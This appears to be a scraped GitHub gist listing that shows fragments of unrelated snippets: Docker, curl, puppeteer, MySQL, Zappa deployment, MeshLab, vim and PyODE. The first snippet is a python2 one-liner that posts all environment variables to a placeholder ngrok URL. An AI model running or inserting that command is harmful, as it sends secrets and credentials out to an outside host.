This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Send system env vars | |
python2 -c "import os, urllib; urllib.urlopen('https://NGROK_URL', data=urllib.urlencode(os.environ))" | |
# Send all running processes with arguments & env vars for process | |
# @TODO |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/sh | |
set -e | |
DOCKER_COMPOSE_SERVICE_NAME=db | |
CONTAINER_ID=`docker-compose ps -q $DOCKER_COMPOSE_SERVICE_NAME` | |
FULL_VOLUME_NAME=`docker inspect --format='{{range .Mounts}}{{.Name}} {{end}}' $CONTAINER_ID` | |
docker volume rm $FULL_VOLUME_NAME |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/bash | |
set -o errexit | |
curl --fail --show-error --location http://httpbin.org/status/200 > /dev/null | |
echo "It worked!" | |
curl --fail --show-error --location http://httpbin.org/status/500 > /dev/null | |
echo "It failed, but you will never see this message." |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// By jonashaag https://github.com/isaacs/github/issues/410#issuecomment-442248565 | |
const child_process = require('child_process') | |
const puppeteer = require('puppeteer') | |
const devices = require('puppeteer/DeviceDescriptors') | |
const iPhone = devices['iPhone 6'] | |
const USER = 'youruser' | |
const PW = 'xxxxxx' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from MySQLdb import connect | |
conn = connect(user="[USER]", passwd= "[PASSWORD]") | |
cur = conn.cursor() | |
cur.execute("show databases;") | |
dbs_to_update = filter( | |
lambda db: db not in ('information_schema', 'mysql', 'performance_schema'), | |
[dbname[0] for dbname in cur.fetchall()]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Dev only: | |
# Create migrations for any model changes that don't have migrations committed yet. | |
# Makes the migrations locally and push them up since we can't write files outside /tmp in Lambda | |
if [[ "${CIRCLE_BRANCH}" == "dev" ]] | |
then | |
python manage.py makemigrations --name ${CIRCLE_BRANCH}_`date "+%Y%m%d-%H%M%S"` --settings=app.settings.production | |
fi | |
zappa update -s config/zappa_settings.json ${CIRCLE_BRANCH} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import sys | |
import os | |
import subprocess | |
# Script taken from doing the needed operation | |
# (Filters > Remeshing, Simplification and Reconstruction > | |
# Quadric Edge Collapse Decimation, with parameters: | |
# 0.9 percentage reduction (10%), 0.3 Quality threshold (70%) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# For functions with existing arguments | |
:%s/def \(.\+\)(\(.\+\)):/def \1(self, \2):/ | |
# For functions with no arguments | |
:%s/def \(.\+\)():/def \1(self):/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
Physics simulation with PyODE followed by a (basic) rendering with Vapory | |
See the result here: http://i.imgur.com/TdhxwGz.gifv | |
Zulko 2014 | |
This script is placed in the Public Domain (Licence Creative Commons 0) | |
""" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
Physics simulation with PyODE followed by a (basic) rendering with Vapory | |
See the result here: http://i.imgur.com/TdhxwGz.gifv | |
Zulko 2014 | |
This script is placed in the Public Domain (Licence Creative Commons 0) | |
""" |